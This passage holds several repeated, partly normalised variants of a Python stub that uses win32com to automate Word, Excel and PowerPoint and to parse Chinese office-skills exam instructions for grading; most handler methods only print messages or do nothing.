print(\"结束动画操作\")\n if OperStr.find(\"切换\") !=-1:\n print(\"进入切换操作\")\n self.judgeSwitch(OperStr)\n print(\"结束切换操作\")\n if OperStr.find(\"超级链接\") !=-1:\n print(\"进入超级链接操作\")\n self.judgeHyperlink(OperStr)\n print(\"结束超级链接操作\")\n if OperStr.find(\"背景\") !=-1:\n print(\"进入背景操作\")\n self.judgeBackground(OperStr)\n print(\"结束背景操作\")\n if OperStr.find(\"插入\") !=-1:\n print(\"进入插入操作\")\n self.judgeInsert(OperStr)\n print(\"结束插入操作\")\n \n'''\nInput文字录入操作部分说明:\n考试波及知识点:\ncom对象的调用演示:\nclass InputOperation:\n'''\nclass OperationTypeJudge:\n def __init__(self):\n pass\n def getType(self,OperStr):\n if OperStr.find(\"替换\") !=-1 or OperStr.find(\"首行缩进\") !=-1:\n print('这是word题要求')\n print('已转word题处理')\n elif OperStr.find(\"公式\") !=-1 or OperStr.find(\"函数\") !=-1:\n print('这是excel题要求')\n print('已转excel题处理')\n elif OperStr.find(\"切换\") !=-1 or OperStr.find(\"动画\") !=-1:\n print('这是ppt题要求')\n print('已转ppt题处理')\n pass\n def getOperaPath(self):\n pass\n def getOperaFileName(self):\n pass\n'''\n选择题部分说明:\n''' \nclass SelectOperation: \n def __init__(self):\n pass \n def getQusetionTxt(self,item):\n pass\n def getQusetionPic(self,item):\n pass\n def getAnswer(self,item):\n pass\n def getCorrectAnswer(self,item):\n pass\n \n'''\n判断题部分说明:\n''' \nclass JudgeOperation: \n def __init__(self):\n pass \n def getQusetionTxt(self,item):\n pass\n def getQusetionPic(self,item):\n pass\n def getAnswer(self,item):\n pass\n def getCorrectAnswer(self,item):\n pass \nif __name__ == \"__main__\":\n win=WinOperation()\n win.judgeOperFromStr('1、在“蕨类植物”文件夹中,新建一个子文件夹“薄囊蕨类”。')\n win.judgeOperFromStr('2、将文件“淡水藻.ddd”移动到“藻类植物”文件夹中。')\n win.judgeOperFromStr('3、设置“螺旋藻.aaa”文件属性为“只读”。')\n win.judgeOperFromStr('4、在桌面上建立“绿色植物”的快捷方式。')\n\n word=WordOperation()\n word.judgeOperFromStr('1. 将标题“师恩难忘”设置为黑体,居中对齐。')\n word.judgeOperFromStr('2.将文中第二段(这个小学设在一座庙内……)设置为首行缩进2字符。')\n word.judgeOperFromStr('3.将文中所有的“田老师”替换为“田先生”。')\n word.judgeOperFromStr('4. 设置页边距为上下各2.5厘米(应用于整篇文档)。')\n word.judgeOperFromStr('5. 在正文下面的空白处插入艺术字,内容为“师恩难忘”(样式任选)。')\n\n excel=ExcelOperation(r'c:/test.xls')\n excel.judgeOperFromStr('1.将A2所在行的行高设置为30(40像素)。')\n excel.judgeOperFromStr('2.根据工作表中提供的公式,计算各班级的“3D社团参与比例”,并将结果填写在F3:F7单元格内。')\n excel.judgeOperFromStr('3.给A2:F8单元格区域加所有框线。')\n excel.judgeOperFromStr('4.按“无人机社团人数”由高到低排序。')\n excel.judgeOperFromStr('5.选定A2:B7单元格区域,制作“三维折线图”,并插入到Sheet1工作表中。')\n\n ppt=PptOperation()\n ppt.judgeOperFromStr('1.在第四张幻灯片的上方插入横排文本框,在文本框中输入“吃月饼”,字体黑体,字号32。')\n ppt.judgeOperFromStr('2.将第三张幻灯片的背景填充效果设置为纹理填充,纹理为“鱼类化石”。')\n ppt.judgeOperFromStr('3.设置第三张幻灯片的切换效果为“推进”,声音为“鼓掌”。')\n ppt.judgeOperFromStr('4.给第四张幻灯片右侧的图片设置进入中的“劈裂”动画效果,效果选项为“中央向上下展开”。')\n ppt.judgeOperFromStr('5.给第三张幻灯片中的文字“赏桂花”添加超链接,使其链接到第五张幻灯片。')\n", "__author__ = 'tqs'\nfrom win32com.client import Dispatch\nimport win32com.client\nimport time\nimport os\nimport re\nimport win32api\n<docstring token>\n\n\nclass WinOperation:\n\n def __init__(self):\n self.soucePath = ''\n self.destPath = ''\n self.destFilename = ''\n self.sourceFilename = ''\n\n def dele(self, destFilename):\n print('删除文件', destFilename)\n pass\n\n def rename(self, sourceFilename, destFilename):\n print(sourceFilename, '文件改名为', destFilename)\n pass\n\n def mov(self, sourceFilename, destFilename):\n print(sourceFilename, '移动文件为', destFilename)\n pass\n\n def copy(self, sourceFilename, destFilename):\n print(sourceFilename, '移动文件为', destFilename)\n pass\n\n def prop(self, destFilename):\n print('文件属性', destFilename)\n pass\n\n def realSourceFilename(self, soucePath, sourceFilename):\n return sourceFilename\n\n def realdestFilename(self, destPath, destFilename):\n return destFilename\n\n def judgeNew(self, OperStr):\n print('正在完成要求', OperStr)\n pattern = re.compile('“(.*)”')\n print(pattern.findall(OperStr))\n strFile = str(pattern.findall(OperStr))\n file1 = strFile.split('”')\n source = file1[0][2:]\n print(source)\n file2 = strFile.split('“')\n dest = file2[1][0:-2]\n print(dest)\n pass\n\n def judgeDele(self, OperStr):\n print('正在完成要求', OperStr)\n pattern = re.compile('“(.*)”')\n print(pattern.findall(OperStr))\n pass\n\n def judgeRename(self, OperStr):\n print('正在完成要求', OperStr)\n pattern = re.compile('“(.*)”')\n print(pattern.findall(OperStr))\n strFile = str(pattern.findall(OperStr))\n file1 = strFile.split('”')\n source = file1[0][2:]\n print(source)\n file2 = strFile.split('“')\n dest = file2[1][0:-2]\n print(dest)\n pass\n\n def judgeMov(self, OperStr):\n print('正在完成要求', OperStr)\n pattern = re.compile('“(.*)”')\n print(pattern.findall(OperStr))\n strFile = str(pattern.findall(OperStr))\n file1 = strFile.split('”')\n source = file1[0][2:]\n print(source)\n file2 = strFile.split('“')\n dest = file2[1][0:-2]\n print(dest)\n sourceFilename = self.realSourceFilename('d:\\\\zrexam\\\\windows', source)\n destFilename = self.realdestFilename('d:\\\\zrexam\\\\windows', dest)\n self.mov(sourceFilename, destFilename)\n\n def judgeCopy(self, OperStr):\n print('正在完成要求', OperStr)\n pattern = re.compile('“(.*)”')\n print(pattern.findall(OperStr))\n strFile = str(pattern.findall(OperStr))\n file1 = strFile.split('”')\n source = file1[0][2:]\n print(source)\n file2 = strFile.split('“')\n dest = file2[1][0:-2]\n print(dest)\n pass\n\n def judgeProp(self, OperStr):\n print('正在完成要求', OperStr)\n pattern = re.compile('“(.*)”')\n print(pattern.findall(OperStr))\n strFile = str(pattern.findall(OperStr))\n file1 = strFile.split('”')\n source = file1[0][2:]\n print(source)\n file2 = strFile.split('“')\n dest = file2[1][0:-2]\n print(dest)\n pass\n\n def judgeOperFromList(self, OperStrList):\n for item in OperStrList:\n pass\n\n def getOperStrListFromFile(self, filename):\n pass\n\n def judgeOperFromStr(self, OperStr):\n if OperStr.find('新建') != -1:\n print('进入新建操作')\n self.judgeNew(OperStr)\n print('结束新建操作')\n if OperStr.find('删除') != -1:\n print('进入删除操作')\n self.judgeDele(OperStr)\n print('结束删除操作')\n if OperStr.find('复制') != -1:\n print('进入复制操作')\n self.judgeCopy(OperStr)\n print('结束复制操作')\n if OperStr.find('移动') != -1:\n print('进入移动操作')\n self.judgeMov(OperStr)\n print('结束移动操作')\n if OperStr.find('改名') != -1:\n print('进入改名操作')\n self.judgeRename(OperStr)\n print('结束改名操作')\n if OperStr.find('属性') != -1:\n print('进入属性操作')\n self.judgeProp(OperStr)\n print('结束属性操作')\n\n\n<docstring token>\n\n\nclass WordOperation:\n\n def __init__(self, filename=None):\n self.wordApp = win32com.client.Dispatch('Word.Application')\n if filename:\n self.filename = filename\n else:\n self.filename = ''\n\n def save(self, newfilename=None):\n if newfilename:\n self.filename = newfilename\n else:\n pass\n\n def close(self):\n del self.wordApp\n\n def fontOper(self):\n pass\n\n def replaceOper(self, source, dest):\n pass\n\n def insertOper(self, style):\n pass\n\n def pageOper(self):\n pass\n\n def paragraphOper(self):\n pass\n\n def judgePage(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeFont(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeReplace(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeInsert(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeParagraph(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeOperFromStr(self, OperStr):\n if OperStr.find('标题') != -1 or OperStr.find('黑体'\n ) != -1 or OperStr.find('居中对齐') != -1:\n print('进入字体操作')\n self.judgeFont(OperStr)\n print('结束字体')\n elif OperStr.find('首行缩进') != -1 or OperStr.find('行距') != -1:\n print('进入段落操作')\n self.judgeParagraph(OperStr)\n print('结束段落操作')\n elif OperStr.find('插入') != -1:\n print('进入插入操作')\n self.judgeInsert(OperStr)\n print('结束插入操作')\n elif OperStr.find('页边距') != -1:\n print('进入页边距操作')\n self.judgePage(OperStr)\n print('结束页边距操作')\n elif OperStr.find('分栏') != -1:\n print('进入分栏操作')\n self.judgeFont(OperStr)\n print('结束分栏操作')\n elif OperStr.find('替换') != -1:\n print('进入替换操作')\n self.judgeReplace(OperStr)\n print('结束替换操作')\n\n\n<docstring token>\n\n\nclass ExcelOperation:\n\n def __init__(self, filename=None):\n self.xlApp = win32com.client.Dispatch('Excel.Application')\n if filename:\n self.filename = filename\n self.xlBook = self.xlApp.Workbooks.Open(filename)\n else:\n self.xlBook = self.xlApp.Workbooks.Add()\n self.filename = ''\n\n def save(self, newfilename=None):\n if newfilename:\n self.filename = newfilename\n self.xlBook.SaveAs(newfilename)\n else:\n self.xlBook.Save()\n\n def close(self):\n self.xlBook.Close(SaveChanges=0)\n del self.xlApp\n\n def getCell(self, sheet, row, col):\n \"\"\"Get value of one cell\"\"\"\n sht = self.xlBook.Worksheets(sheet)\n return sht.Cells(row, col).Value\n\n def setCell(self, sheet, row, col, value):\n \"\"\"set value of one cell\"\"\"\n sht = self.xlBook.Worksheets(sheet)\n sht.Cells(row, col).Value = value\n\n def setCellformat(self, sheet, row, col):\n \"\"\"set value of one cell\"\"\"\n sht = self.xlBook.Worksheets(sheet)\n sht.Cells(row, col).Font.Size = 15\n sht.Cells(row, col).Font.Bold = True\n sht.Cells(row, col).Font.Name = 'Arial'\n sht.Cells(row, col).Interior.ColorIndex = 3\n sht.Cells(row, col).BorderAround(1, 4)\n sht.Rows(3).RowHeight = 30\n sht.Cells(row, col).HorizontalAlignment = -4131\n sht.Cells(row, col).VerticalAlignment = -4160\n\n def rowHeightOper(self, sheet, row, height):\n sht = self.xlBook.Worksheets(sheet)\n sht.Rows(row).RowHeight = height\n\n def deleteRow(self, sheet, row):\n sht = self.xlBook.Worksheets(sheet)\n sht.Rows(row).Delete()\n sht.Columns(row).Delete()\n\n def getRange(self, sheet, row1, col1, row2, col2):\n \"\"\"return a 2d array (i.e. tuple of tuples)\"\"\"\n sht = self.xlBook.Worksheets(sheet)\n return sht.Range(sht.Cells(row1, col1), sht.Cells(row2, col2)).Value\n\n def addPicture(self, sheet, pictureName, Left, Top, Width, Height):\n \"\"\"Insert a picture in sheet\"\"\"\n sht = self.xlBook.Worksheets(sheet)\n sht.Shapes.AddPicture(pictureName, 1, 1, Left, Top, Width, Height)\n\n def cpSheet(self, before):\n \"\"\"copy sheet\"\"\"\n shts = self.xlBook.Worksheets\n shts(1).Copy(None, shts(1))\n\n def judgeRowHeight(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeColWidth(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeFormula(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeFunction(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeSort(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeChart(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeBoxLine(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeOperFromStr(self, OperStr):\n if OperStr.find('行高') != -1:\n print('进入行高操作')\n self.judgeRowHeight(OperStr)\n print('结束行高操作')\n if OperStr.find('列宽') != -1:\n print('进入列宽操作')\n self.judgeColWidth(OperStr)\n print('结束列宽操作')\n if OperStr.find('公式') != -1:\n print('进入公式操作')\n self.judgeFormula(OperStr)\n print('结束公式操作')\n if OperStr.find('函数') != -1:\n print('进入函数操作')\n self.judgeFunction(OperStr)\n print('结束函数操作')\n if OperStr.find('所有框线') != -1:\n print('进入所有框线操作')\n self.judgeBoxLine(OperStr)\n print('结束所有框线操作')\n if OperStr.find('排序') != -1:\n print('进入排序操作')\n self.judgeSort(OperStr)\n print('结束排序操作')\n if OperStr.find('图表') != -1:\n print('进入图表操作')\n self.judgeChart(OperStr)\n print('结束图表操作')\n pass\n\n\n<docstring token>\n\n\nclass PptOperation:\n\n def __init__(self):\n pass\n\n def AnimationOper(self):\n pass\n\n def SwitchOper(self):\n pass\n\n def InsertOper(self, style):\n pass\n\n def BackgroundOper(self):\n pass\n\n def HyperlinkOper(self):\n pass\n\n def judgeAnimation(self, OperStr):\n print('正在完成要求', OperStr)\n pattern = re.compile('“(.*)”')\n print(pattern.findall(OperStr))\n strFile = str(pattern.findall(OperStr))\n file1 = strFile.split('”')\n source = file1[0][2:]\n print(source)\n file2 = strFile.split('“')\n dest = file2[1][0:-2]\n print(dest)\n\n def judgeSwitch(self, OperStr):\n print('正在完成要求', OperStr)\n pattern = re.compile('“(.*)”')\n print(pattern.findall(OperStr))\n strFile = str(pattern.findall(OperStr))\n file1 = strFile.split('”')\n source = file1[0][2:]\n print(source)\n file2 = strFile.split('“')\n dest = file2[1][0:-2]\n print(dest)\n\n def judgeInsert(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeBackground(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeHyperlink(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeOperFromStr(self, OperStr):\n if OperStr.find('动画') != -1:\n print('进入动画操作')\n self.judgeAnimation(OperStr)\n print('结束动画操作')\n if OperStr.find('切换') != -1:\n print('进入切换操作')\n self.judgeSwitch(OperStr)\n print('结束切换操作')\n if OperStr.find('超级链接') != -1:\n print('进入超级链接操作')\n self.judgeHyperlink(OperStr)\n print('结束超级链接操作')\n if OperStr.find('背景') != -1:\n print('进入背景操作')\n self.judgeBackground(OperStr)\n print('结束背景操作')\n if OperStr.find('插入') != -1:\n print('进入插入操作')\n self.judgeInsert(OperStr)\n print('结束插入操作')\n\n\n<docstring token>\n\n\nclass OperationTypeJudge:\n\n def __init__(self):\n pass\n\n def getType(self, OperStr):\n if OperStr.find('替换') != -1 or OperStr.find('首行缩进') != -1:\n print('这是word题要求')\n print('已转word题处理')\n elif OperStr.find('公式') != -1 or OperStr.find('函数') != -1:\n print('这是excel题要求')\n print('已转excel题处理')\n elif OperStr.find('切换') != -1 or OperStr.find('动画') != -1:\n print('这是ppt题要求')\n print('已转ppt题处理')\n pass\n\n def getOperaPath(self):\n pass\n\n def getOperaFileName(self):\n pass\n\n\n<docstring token>\n\n\nclass SelectOperation:\n\n def __init__(self):\n pass\n\n def getQusetionTxt(self, item):\n pass\n\n def getQusetionPic(self, item):\n pass\n\n def getAnswer(self, item):\n pass\n\n def getCorrectAnswer(self, item):\n pass\n\n\n<docstring token>\n\n\nclass JudgeOperation:\n\n def __init__(self):\n pass\n\n def getQusetionTxt(self, item):\n pass\n\n def getQusetionPic(self, item):\n pass\n\n def getAnswer(self, item):\n pass\n\n def getCorrectAnswer(self, item):\n pass\n\n\nif __name__ == '__main__':\n win = WinOperation()\n win.judgeOperFromStr('1、在“蕨类植物”文件夹中,新建一个子文件夹“薄囊蕨类”。')\n win.judgeOperFromStr('2、将文件“淡水藻.ddd”移动到“藻类植物”文件夹中。')\n win.judgeOperFromStr('3、设置“螺旋藻.aaa”文件属性为“只读”。')\n win.judgeOperFromStr('4、在桌面上建立“绿色植物”的快捷方式。')\n word = WordOperation()\n word.judgeOperFromStr('1. 将标题“师恩难忘”设置为黑体,居中对齐。')\n word.judgeOperFromStr('2.将文中第二段(这个小学设在一座庙内……)设置为首行缩进2字符。')\n word.judgeOperFromStr('3.将文中所有的“田老师”替换为“田先生”。')\n word.judgeOperFromStr('4. 设置页边距为上下各2.5厘米(应用于整篇文档)。')\n word.judgeOperFromStr('5. 在正文下面的空白处插入艺术字,内容为“师恩难忘”(样式任选)。')\n excel = ExcelOperation('c:/test.xls')\n excel.judgeOperFromStr('1.将A2所在行的行高设置为30(40像素)。')\n excel.judgeOperFromStr('2.根据工作表中提供的公式,计算各班级的“3D社团参与比例”,并将结果填写在F3:F7单元格内。')\n excel.judgeOperFromStr('3.给A2:F8单元格区域加所有框线。')\n excel.judgeOperFromStr('4.按“无人机社团人数”由高到低排序。')\n excel.judgeOperFromStr('5.选定A2:B7单元格区域,制作“三维折线图”,并插入到Sheet1工作表中。')\n ppt = PptOperation()\n ppt.judgeOperFromStr('1.在第四张幻灯片的上方插入横排文本框,在文本框中输入“吃月饼”,字体黑体,字号32。')\n ppt.judgeOperFromStr('2.将第三张幻灯片的背景填充效果设置为纹理填充,纹理为“鱼类化石”。')\n ppt.judgeOperFromStr('3.设置第三张幻灯片的切换效果为“推进”,声音为“鼓掌”。')\n ppt.judgeOperFromStr('4.给第四张幻灯片右侧的图片设置进入中的“劈裂”动画效果,效果选项为“中央向上下展开”。')\n ppt.judgeOperFromStr('5.给第三张幻灯片中的文字“赏桂花”添加超链接,使其链接到第五张幻灯片。')\n", "__author__ = 'tqs'\n<import token>\n<docstring token>\n\n\nclass WinOperation:\n\n def __init__(self):\n self.soucePath = ''\n self.destPath = ''\n self.destFilename = ''\n self.sourceFilename = ''\n\n def dele(self, destFilename):\n print('删除文件', destFilename)\n pass\n\n def rename(self, sourceFilename, destFilename):\n print(sourceFilename, '文件改名为', destFilename)\n pass\n\n def mov(self, sourceFilename, destFilename):\n print(sourceFilename, '移动文件为', destFilename)\n pass\n\n def copy(self, sourceFilename, destFilename):\n print(sourceFilename, '移动文件为', destFilename)\n pass\n\n def prop(self, destFilename):\n print('文件属性', destFilename)\n pass\n\n def realSourceFilename(self, soucePath, sourceFilename):\n return sourceFilename\n\n def realdestFilename(self, destPath, destFilename):\n return destFilename\n\n def judgeNew(self, OperStr):\n print('正在完成要求', OperStr)\n pattern = re.compile('“(.*)”')\n print(pattern.findall(OperStr))\n strFile = str(pattern.findall(OperStr))\n file1 = strFile.split('”')\n source = file1[0][2:]\n print(source)\n file2 = strFile.split('“')\n dest = file2[1][0:-2]\n print(dest)\n pass\n\n def judgeDele(self, OperStr):\n print('正在完成要求', OperStr)\n pattern = re.compile('“(.*)”')\n print(pattern.findall(OperStr))\n pass\n\n def judgeRename(self, OperStr):\n print('正在完成要求', OperStr)\n pattern = re.compile('“(.*)”')\n print(pattern.findall(OperStr))\n strFile = str(pattern.findall(OperStr))\n file1 = strFile.split('”')\n source = file1[0][2:]\n print(source)\n file2 = strFile.split('“')\n dest = file2[1][0:-2]\n print(dest)\n pass\n\n def judgeMov(self, OperStr):\n print('正在完成要求', OperStr)\n pattern = re.compile('“(.*)”')\n print(pattern.findall(OperStr))\n strFile = str(pattern.findall(OperStr))\n file1 = strFile.split('”')\n source = file1[0][2:]\n print(source)\n file2 = strFile.split('“')\n dest = file2[1][0:-2]\n print(dest)\n sourceFilename = self.realSourceFilename('d:\\\\zrexam\\\\windows', source)\n destFilename = self.realdestFilename('d:\\\\zrexam\\\\windows', dest)\n self.mov(sourceFilename, destFilename)\n\n def judgeCopy(self, OperStr):\n print('正在完成要求', OperStr)\n pattern = re.compile('“(.*)”')\n print(pattern.findall(OperStr))\n strFile = str(pattern.findall(OperStr))\n file1 = strFile.split('”')\n source = file1[0][2:]\n print(source)\n file2 = strFile.split('“')\n dest = file2[1][0:-2]\n print(dest)\n pass\n\n def judgeProp(self, OperStr):\n print('正在完成要求', OperStr)\n pattern = re.compile('“(.*)”')\n print(pattern.findall(OperStr))\n strFile = str(pattern.findall(OperStr))\n file1 = strFile.split('”')\n source = file1[0][2:]\n print(source)\n file2 = strFile.split('“')\n dest = file2[1][0:-2]\n print(dest)\n pass\n\n def judgeOperFromList(self, OperStrList):\n for item in OperStrList:\n pass\n\n def getOperStrListFromFile(self, filename):\n pass\n\n def judgeOperFromStr(self, OperStr):\n if OperStr.find('新建') != -1:\n print('进入新建操作')\n self.judgeNew(OperStr)\n print('结束新建操作')\n if OperStr.find('删除') != -1:\n print('进入删除操作')\n self.judgeDele(OperStr)\n print('结束删除操作')\n if OperStr.find('复制') != -1:\n print('进入复制操作')\n self.judgeCopy(OperStr)\n print('结束复制操作')\n if OperStr.find('移动') != -1:\n print('进入移动操作')\n self.judgeMov(OperStr)\n print('结束移动操作')\n if OperStr.find('改名') != -1:\n print('进入改名操作')\n self.judgeRename(OperStr)\n print('结束改名操作')\n if OperStr.find('属性') != -1:\n print('进入属性操作')\n self.judgeProp(OperStr)\n print('结束属性操作')\n\n\n<docstring token>\n\n\nclass WordOperation:\n\n def __init__(self, filename=None):\n self.wordApp = win32com.client.Dispatch('Word.Application')\n if filename:\n self.filename = filename\n else:\n self.filename = ''\n\n def save(self, newfilename=None):\n if newfilename:\n self.filename = newfilename\n else:\n pass\n\n def close(self):\n del self.wordApp\n\n def fontOper(self):\n pass\n\n def replaceOper(self, source, dest):\n pass\n\n def insertOper(self, style):\n pass\n\n def pageOper(self):\n pass\n\n def paragraphOper(self):\n pass\n\n def judgePage(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeFont(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeReplace(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeInsert(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeParagraph(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeOperFromStr(self, OperStr):\n if OperStr.find('标题') != -1 or OperStr.find('黑体'\n ) != -1 or OperStr.find('居中对齐') != -1:\n print('进入字体操作')\n self.judgeFont(OperStr)\n print('结束字体')\n elif OperStr.find('首行缩进') != -1 or OperStr.find('行距') != -1:\n print('进入段落操作')\n self.judgeParagraph(OperStr)\n print('结束段落操作')\n elif OperStr.find('插入') != -1:\n print('进入插入操作')\n self.judgeInsert(OperStr)\n print('结束插入操作')\n elif OperStr.find('页边距') != -1:\n print('进入页边距操作')\n self.judgePage(OperStr)\n print('结束页边距操作')\n elif OperStr.find('分栏') != -1:\n print('进入分栏操作')\n self.judgeFont(OperStr)\n print('结束分栏操作')\n elif OperStr.find('替换') != -1:\n print('进入替换操作')\n self.judgeReplace(OperStr)\n print('结束替换操作')\n\n\n<docstring token>\n\n\nclass ExcelOperation:\n\n def __init__(self, filename=None):\n self.xlApp = win32com.client.Dispatch('Excel.Application')\n if filename:\n self.filename = filename\n self.xlBook = self.xlApp.Workbooks.Open(filename)\n else:\n self.xlBook = self.xlApp.Workbooks.Add()\n self.filename = ''\n\n def save(self, newfilename=None):\n if newfilename:\n self.filename = newfilename\n self.xlBook.SaveAs(newfilename)\n else:\n self.xlBook.Save()\n\n def close(self):\n self.xlBook.Close(SaveChanges=0)\n del self.xlApp\n\n def getCell(self, sheet, row, col):\n \"\"\"Get value of one cell\"\"\"\n sht = self.xlBook.Worksheets(sheet)\n return sht.Cells(row, col).Value\n\n def setCell(self, sheet, row, col, value):\n \"\"\"set value of one cell\"\"\"\n sht = self.xlBook.Worksheets(sheet)\n sht.Cells(row, col).Value = value\n\n def setCellformat(self, sheet, row, col):\n \"\"\"set value of one cell\"\"\"\n sht = self.xlBook.Worksheets(sheet)\n sht.Cells(row, col).Font.Size = 15\n sht.Cells(row, col).Font.Bold = True\n sht.Cells(row, col).Font.Name = 'Arial'\n sht.Cells(row, col).Interior.ColorIndex = 3\n sht.Cells(row, col).BorderAround(1, 4)\n sht.Rows(3).RowHeight = 30\n sht.Cells(row, col).HorizontalAlignment = -4131\n sht.Cells(row, col).VerticalAlignment = -4160\n\n def rowHeightOper(self, sheet, row, height):\n sht = self.xlBook.Worksheets(sheet)\n sht.Rows(row).RowHeight = height\n\n def deleteRow(self, sheet, row):\n sht = self.xlBook.Worksheets(sheet)\n sht.Rows(row).Delete()\n sht.Columns(row).Delete()\n\n def getRange(self, sheet, row1, col1, row2, col2):\n \"\"\"return a 2d array (i.e. tuple of tuples)\"\"\"\n sht = self.xlBook.Worksheets(sheet)\n return sht.Range(sht.Cells(row1, col1), sht.Cells(row2, col2)).Value\n\n def addPicture(self, sheet, pictureName, Left, Top, Width, Height):\n \"\"\"Insert a picture in sheet\"\"\"\n sht = self.xlBook.Worksheets(sheet)\n sht.Shapes.AddPicture(pictureName, 1, 1, Left, Top, Width, Height)\n\n def cpSheet(self, before):\n \"\"\"copy sheet\"\"\"\n shts = self.xlBook.Worksheets\n shts(1).Copy(None, shts(1))\n\n def judgeRowHeight(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeColWidth(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeFormula(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeFunction(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeSort(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeChart(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeBoxLine(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeOperFromStr(self, OperStr):\n if OperStr.find('行高') != -1:\n print('进入行高操作')\n self.judgeRowHeight(OperStr)\n print('结束行高操作')\n if OperStr.find('列宽') != -1:\n print('进入列宽操作')\n self.judgeColWidth(OperStr)\n print('结束列宽操作')\n if OperStr.find('公式') != -1:\n print('进入公式操作')\n self.judgeFormula(OperStr)\n print('结束公式操作')\n if OperStr.find('函数') != -1:\n print('进入函数操作')\n self.judgeFunction(OperStr)\n print('结束函数操作')\n if OperStr.find('所有框线') != -1:\n print('进入所有框线操作')\n self.judgeBoxLine(OperStr)\n print('结束所有框线操作')\n if OperStr.find('排序') != -1:\n print('进入排序操作')\n self.judgeSort(OperStr)\n print('结束排序操作')\n if OperStr.find('图表') != -1:\n print('进入图表操作')\n self.judgeChart(OperStr)\n print('结束图表操作')\n pass\n\n\n<docstring token>\n\n\nclass PptOperation:\n\n def __init__(self):\n pass\n\n def AnimationOper(self):\n pass\n\n def SwitchOper(self):\n pass\n\n def InsertOper(self, style):\n pass\n\n def BackgroundOper(self):\n pass\n\n def HyperlinkOper(self):\n pass\n\n def judgeAnimation(self, OperStr):\n print('正在完成要求', OperStr)\n pattern = re.compile('“(.*)”')\n print(pattern.findall(OperStr))\n strFile = str(pattern.findall(OperStr))\n file1 = strFile.split('”')\n source = file1[0][2:]\n print(source)\n file2 = strFile.split('“')\n dest = file2[1][0:-2]\n print(dest)\n\n def judgeSwitch(self, OperStr):\n print('正在完成要求', OperStr)\n pattern = re.compile('“(.*)”')\n print(pattern.findall(OperStr))\n strFile = str(pattern.findall(OperStr))\n file1 = strFile.split('”')\n source = file1[0][2:]\n print(source)\n file2 = strFile.split('“')\n dest = file2[1][0:-2]\n print(dest)\n\n def judgeInsert(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeBackground(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeHyperlink(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeOperFromStr(self, OperStr):\n if OperStr.find('动画') != -1:\n print('进入动画操作')\n self.judgeAnimation(OperStr)\n print('结束动画操作')\n if OperStr.find('切换') != -1:\n print('进入切换操作')\n self.judgeSwitch(OperStr)\n print('结束切换操作')\n if OperStr.find('超级链接') != -1:\n print('进入超级链接操作')\n self.judgeHyperlink(OperStr)\n print('结束超级链接操作')\n if OperStr.find('背景') != -1:\n print('进入背景操作')\n self.judgeBackground(OperStr)\n print('结束背景操作')\n if OperStr.find('插入') != -1:\n print('进入插入操作')\n self.judgeInsert(OperStr)\n print('结束插入操作')\n\n\n<docstring token>\n\n\nclass OperationTypeJudge:\n\n def __init__(self):\n pass\n\n def getType(self, OperStr):\n if OperStr.find('替换') != -1 or OperStr.find('首行缩进') != -1:\n print('这是word题要求')\n print('已转word题处理')\n elif OperStr.find('公式') != -1 or OperStr.find('函数') != -1:\n print('这是excel题要求')\n print('已转excel题处理')\n elif OperStr.find('切换') != -1 or OperStr.find('动画') != -1:\n print('这是ppt题要求')\n print('已转ppt题处理')\n pass\n\n def getOperaPath(self):\n pass\n\n def getOperaFileName(self):\n pass\n\n\n<docstring token>\n\n\nclass SelectOperation:\n\n def __init__(self):\n pass\n\n def getQusetionTxt(self, item):\n pass\n\n def getQusetionPic(self, item):\n pass\n\n def getAnswer(self, item):\n pass\n\n def getCorrectAnswer(self, item):\n pass\n\n\n<docstring token>\n\n\nclass JudgeOperation:\n\n def __init__(self):\n pass\n\n def getQusetionTxt(self, item):\n pass\n\n def getQusetionPic(self, item):\n pass\n\n def getAnswer(self, item):\n pass\n\n def getCorrectAnswer(self, item):\n pass\n\n\nif __name__ == '__main__':\n win = WinOperation()\n win.judgeOperFromStr('1、在“蕨类植物”文件夹中,新建一个子文件夹“薄囊蕨类”。')\n win.judgeOperFromStr('2、将文件“淡水藻.ddd”移动到“藻类植物”文件夹中。')\n win.judgeOperFromStr('3、设置“螺旋藻.aaa”文件属性为“只读”。')\n win.judgeOperFromStr('4、在桌面上建立“绿色植物”的快捷方式。')\n word = WordOperation()\n word.judgeOperFromStr('1. 将标题“师恩难忘”设置为黑体,居中对齐。')\n word.judgeOperFromStr('2.将文中第二段(这个小学设在一座庙内……)设置为首行缩进2字符。')\n word.judgeOperFromStr('3.将文中所有的“田老师”替换为“田先生”。')\n word.judgeOperFromStr('4. 设置页边距为上下各2.5厘米(应用于整篇文档)。')\n word.judgeOperFromStr('5. 在正文下面的空白处插入艺术字,内容为“师恩难忘”(样式任选)。')\n excel = ExcelOperation('c:/test.xls')\n excel.judgeOperFromStr('1.将A2所在行的行高设置为30(40像素)。')\n excel.judgeOperFromStr('2.根据工作表中提供的公式,计算各班级的“3D社团参与比例”,并将结果填写在F3:F7单元格内。')\n 